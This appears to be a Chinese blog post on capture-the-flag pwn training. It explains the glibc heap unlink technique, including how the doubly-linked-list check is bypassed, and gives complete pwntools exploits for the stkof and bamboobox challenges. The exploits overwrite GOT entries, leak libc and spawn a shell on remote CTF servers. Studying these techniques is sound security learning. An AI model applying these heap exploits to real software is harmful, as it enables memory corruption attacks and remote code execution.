花与堆之Unlink

Overview

  1. unlink俗称脱链,就是将链表头处的free堆块从unsorted bin中脱离出来,然后和物理地址相邻的新free的堆块合并成大堆块(向前合并或向后合并),再放入到unsorted bin中。
  2. 危害原理:通过伪造free状态的fake_chunk,伪造fdbk指针,通过绕过unlink的检测实现unlink使其往p所在的位置写入p-0x18,从而实现任意地址写的漏洞。
  3. 漏洞产生原因:Offbynulloffbyone、堆溢出,原因是修改了堆块的使用标志位。

源码解读

1
2
3
4
5
6
7
8
9
10
/*malloc.c  int_free函数中*/
/*这里p指向当前malloc_chunk结构体*/
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
//修改指向当前chunk的指针,指向前一个chunk。
p = chunk_at_offset(p, -((long) prevsize));

unlink(p, bck, fwd);
}
  1. 进行判断:看当前堆块中p这个标志位,如果p设置为0则为free状态,则进行unlink,否则反之;

  2. 先提取prev_size,然后当前size+prev_size,此时指针会指向当前chunk的前一个堆块,合并后的指针地址为:free的堆块地址 - 前一个chunk大小,此时p指针则会从现在的堆块跳到前一个堆块;

1
2
prevsize = p->prev_size;
size += prevsize;
  1. 最后是将这个堆块和相邻的(这里是上一个)一起unlink。
1
2
3
4
5
6
7
8
9
10
11
12
//相关函数说明:
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
/*unlink操作的实质就是:将P所指向的chunk从双向链表中移除,这里BK与FD用作临时变量*/
#define unlink(P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
FD->bk = BK; \
BK->fd = FD; \
...
}

unlink函数是如何定义的:

  1. 从合并后新指针地址中提取出fd指针和bk指针作为临时变量;

  2. 这里有一个check,检查FD的bk和BK的fd是否指向当前堆块,若不通过则不进行unlink;

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
  1. 通过后会把BK赋值给FD的bk,把FD赋值给BK的fd。

unlink的绕过和利用

我们伪造如下信息:

  1. chunk = 0x0602280 (P是将要合并到的堆地址,P存在chunk中,相当于 *chunk = P)
  2. P_fd = chunk - 0x18 = 0x0602268
  3. P_bk = chunk - 0x10 = 0x0602270

我在学习的过程中此处卡住了,对于为什么是减去0x180x10这两个值我们在此复习一下为什么是减去0x180x10,在 glibc 的 malloc 实现(ptmalloc)中,在释放前、不在 bin 中时,chunk 结构为:

1
2
3
4
5
6
7
struct malloc_chunk {
size_t prev_size; // 0x00 偏移(如果前一个块空闲,才有用)
size_t size; // 0x08 偏移(包含标志位)
struct malloc_chunk* fd; // 0x10 偏移(仅在 bin 中使用)
struct malloc_chunk* bk; // 0x18 偏移
// ... 更后面还有 fd_nextsize, bk_nextsize(large bin)
};

而回顾上面的内容有这样的一条:”通过后会把BK赋值给FD的bk,把FD赋值给BK的fd。”

绕过技巧

1
2
3
4
5
6
7
8
9
10
define unlink(P, BK, FD) {                                            \
FD = P->fd; \FD = 0x602268
BK = P->bk; \BK = 0x602270
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \FD->bk = *(0x602268+0x18) | *(0x602280) = P
\ BK->fd = *(0x602270+0x10) = *(0x602280) = P ,绕过!
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
FD->bk = BK; \*(0x602268+0x18) | *(0x602280) = 0x602270
BK->fd = FD; \ *(0x602270+0x10) | *(0x602280) = 0x602268
...
}
  1. 绕过检查可以总结成:$FD->bk == P$ 和 $BK->fd == P$,等价于: $(P_fd + 0x18) == P$ 和 $(P_bk + 0x10) == P$
  2. 可以构造成
1
2
P_fd = P - 0x18
P_bk = P - 0x10

即:

1
2
3
4
5
FD = P - 0x18
FD->bk = (P - 0x18) + 0x18 = P → 内容等于 P(绕过)

BK = P - 0x10
BK->fd = (P - 0x10) + 0x10 = P → 内容等于 P(绕过)

总结起来就是:P->fd 指向 P - 0x18P->bk 指向 P - 0x10,就能绕过 FD->bk == PBK->fd == P 检查,并使 \*P 被覆写为 P - 0x18

2014 HITCON stkof

  1. 堆布局
  2. 伪造 fake chunk
  3. fd/bk = ptr-0x18/ptr-0x10
  4. 修改 next chunk 的 prev_size/size
  5. unlink 写全局指针
  6. 写 GOT 表项
  7. 先 leak 后 getshell

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

from LibcSearcher import *
context.log_level = 'debug'

#libc = ELF('./libc.so.6')
#sh = process("./stkof")
sh = remote("node5.buuoj.cn",25830)
stkof = ELF('./stkof')
head = 0x602140
def malloc(size):
sh.sendline(b'1')
sh.sendline(str(size))
sh.recvuntil(b'OK\n')

def edit(idx,size,content):
sh.sendline(b'2')
sh.sendline(str(idx))
sh.sendline(str(size))
sh.send(content)
sh.recvuntil('OK\n')

def free(idx):
sh.sendline(b'3')
sh.sendline(str(idx))


malloc(0x100)
malloc(0x30)
malloc(0x80)

payload = p64(0) #pre_size = 0
payload += p64(0x20) #fake size
payload += p64(head + 0x10 - 0x18)
payload += p64(head + 0x10 - 0x10)
payload += p64(0x20)

payload = payload.ljust(0x30,b'a')
payload += p64(0x30)

payload += p64(0x90)

edit(2, len(payload), payload)

free(3)
sh.recvuntil('OK\n')

payload2 = b'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])

edit(2,len(payload2),payload2)
payload3 = p64(stkof.plt['puts'])

edit(0,len(payload3),payload3)

free(1)

puts_addr = u64(sh.recvuntil('\nOK\n', drop=True).ljust(8,b'\x00'))
#
# libc_base = puts_addr - libc.symbols['puts']
# binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
# system_addr = libc_base + libc.symbols['system']
#
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')

payload4 = p64(system_addr)
binsh_addr =libc_base + libc.dump('str_bin_sh')

edit(2, len(payload4), payload4)
sh.send(p64(binsh_addr))
sh.interactive()

Checksec

1
2
3
4
5
6
7
8
9
# zer0ptr @ DESKTOP-FHEMUHT in ~/CTF-Pwn/heap/unlink/hitcontraining_unlink [15:14:56]
$ checksec bamboobox
[*] '/home/zer0ptr/CTF-Pwn/heap/unlink/hitcontraining_unlink/bamboobox'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

NO PIE

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __fastcall main(int argc, const char **argv, const char **envp)
{
void (**v4)(void); // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
v4 = (void (**)(void))malloc(0x10u);
*v4 = (void (*)(void))hello_message;
v4[1] = (void (*)(void))goodbye_message;
(*v4)();
while ( 1 )
{
menu();
read(0, buf, 8u);
switch ( atoi(buf) )
{
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
v4[1]();
exit(0);
default:
puts("invaild choice!!!");
break;
}
}
}

然后ida反编译查看main函数,各功能一目了然。注意到每次输入choice后,都要通过atoi()函数来将其转为整型,这是漏洞利用的关键之一;

show_item:

1
2
3
4
5
6
7
8
9
10
11
12
13
int show_item()
{
int i; // [rsp+Ch] [rbp-4h]

if ( !num )
return puts("No item in the box");
for ( i = 0; i <= 99; ++i )
{
if ( *((_QWORD *)&unk_6020C8 + 2 * i) )
printf("%d : %s", i, *((const char **)&unk_6020C8 + 2 * i));
}
return puts(byte_401089);
}
  1. 这里存在offbyone,但对于考察unlink的题目一般不会利用;
  2. &unk_6020c8位于bss节,是items的基址

add_item:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__int64 add_item()
{
int i; // [rsp+4h] [rbp-1Ch]
int v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( num > 99 )
{
puts("the box is full");
}
else
{
printf("Please enter the length of item name:");
read(0, buf, 8u);
v2 = atoi(buf);
if ( !v2 )
{
puts("invaild length");
return 0;
}
for ( i = 0; i <= 99; ++i )
{
if ( !*((_QWORD *)&unk_6020C8 + 2 * i) )
{
*((_DWORD *)&itemlist + 4 * i) = v2;
*((_QWORD *)&unk_6020C8 + 2 * i) = malloc(v2);
printf("Please enter the name of item:");
*(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * i) + (int)read(0, *((void **)&unk_6020C8 + 2 * i), v2)) = 0;
++num;
return 0;
}
}
}
return 0;
}

add_item函数中,先输入一个长度v2,然后遍历bss中的空间(基址为0x6020c8),如果有空,则申请一块v2大小的chunk(这里所说的chunk大小不包括chunk头),将其地址写入bss。再输入一个字符串,将前v2个字节作为item名称写到chunk中。line 30的read函数返回实际读取的字节数,加上该字符串基址就是字符串的末尾,结尾置0表示字符串结束;

change_item:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 change_item()
{
int v1; // [rsp+4h] [rbp-2Ch]
int v2; // [rsp+8h] [rbp-28h]
char buf[16]; // [rsp+10h] [rbp-20h] BYREF
char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, buf, 8u);
v1 = atoi(buf);
if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
{
printf("Please enter the length of item name:");
read(0, nptr, 8u);
v2 = atoi(nptr);
printf("Please enter the new name of the item:");
*(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * v1) + (int)read(0, *((void **)&unk_6020C8 + 2 * v1), v2)) = 0;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v5;
}

change_item函数负责给编号为v1的item改名,方法和add_item中完全一致。这也是堆溢出所在,因为我们输入的length如果超过该chunk的大小,就可以溢出到其他chunk中;

remove_item:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 remove_item()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, buf, 8u);
v1 = atoi(buf);
if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
{
free(*((void **)&unk_6020C8 + 2 * v1));
*((_QWORD *)&unk_6020C8 + 2 * v1) = 0;
*((_DWORD *)&itemlist + 4 * v1) = 0;
puts("remove successful!!");
--num;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v3;
}

这个函数中存在free()功能。

之后按照如下思路:

  1. 堆布局
  2. 伪造 fake chunk
  3. fd/bk = ptr-0x18/ptr-0x10
  4. 修改 next chunk 的 prev_size/size
  5. unlink 写全局指针
  6. 写 GOT 表项
  7. 先 leak 后 getshell

给一下自己的一些辅助学习方法:

Unlink过程

  1. FD = 0x2000 (fake_chunk.fd)
  2. BK = 0x2008 (fake_chunk.bk)
  3. FD->bk = BK → *(0x2000 + 0x18 = 0x2018) = 0x2008
  4. BK->fd = FD → *(0x2008 + 0x10 = 0x2018) = 0x2000
  5. 最终: 0x2018 = 0x2000 (itemlist[0]被修改)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# -*- coding: utf-8 -*-

from pwn import *
from LibcSearcher import LibcSearcher
from time import sleep
import sys
context.arch = 'amd64'
context.log_level = "debug"


# io = process("./bamboobox")
io = remote('node5.buuoj.cn', 29958)

elf = ELF("./bamboobox")

def DEBUG():
raw_input("DEBUG: ")
gdb.attach(io)

def show():
io.sendlineafter(b":", b"1")

def add(length, name):
io.sendlineafter(b":", b"2")
io.sendlineafter(b":", str(length).encode())
io.sendafter(b":", name)

def change(idx, length, name):
io.sendlineafter(b":", b"3")
io.sendlineafter(b":", str(idx).encode())
io.sendlineafter(b":", str(length).encode())
io.sendafter(b":", name)

def remove(idx):
io.sendlineafter(b":", b"4")
io.sendlineafter(b":", str(idx).encode())

def exit():
io.sendlineafter(b":", b"5")

if __name__ == "__main__":
add(0x40, b'0' * 8)
add(0x80, b'1' * 8)
add(0x40, b'2' * 8)
ptr = 0x6020c8

fakeChunk = flat([0, 0x41, ptr - 0x18, ptr - 0x10, cyclic(0x20), 0x40, 0x90])
change(0, 0x80, fakeChunk)
remove(1)
payload = flat([0, 0, 0x40, elf.got['atoi']])
change(0, 0x80, payload)
show()

# 泄露atoi地址
atoi_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
success("atoi_addr -> {:#x}".format(atoi_addr))

# 使用LibcSearcher查找libc版本
libc = LibcSearcher('atoi', atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')

success("libc_base -> {:#x}".format(libc_base))
success("system_addr -> {:#x}".format(system_addr))

pause()

change(0, 0x8, p64(system_addr))
io.sendline(b'$0')

io.interactive()
io.close()

References


花与堆之Unlink
https://rainie017.github.io/2026/02/11/heap-ptmalloc2-unlink/
作者
花時雨
发布于
2026年2月11日
许可协议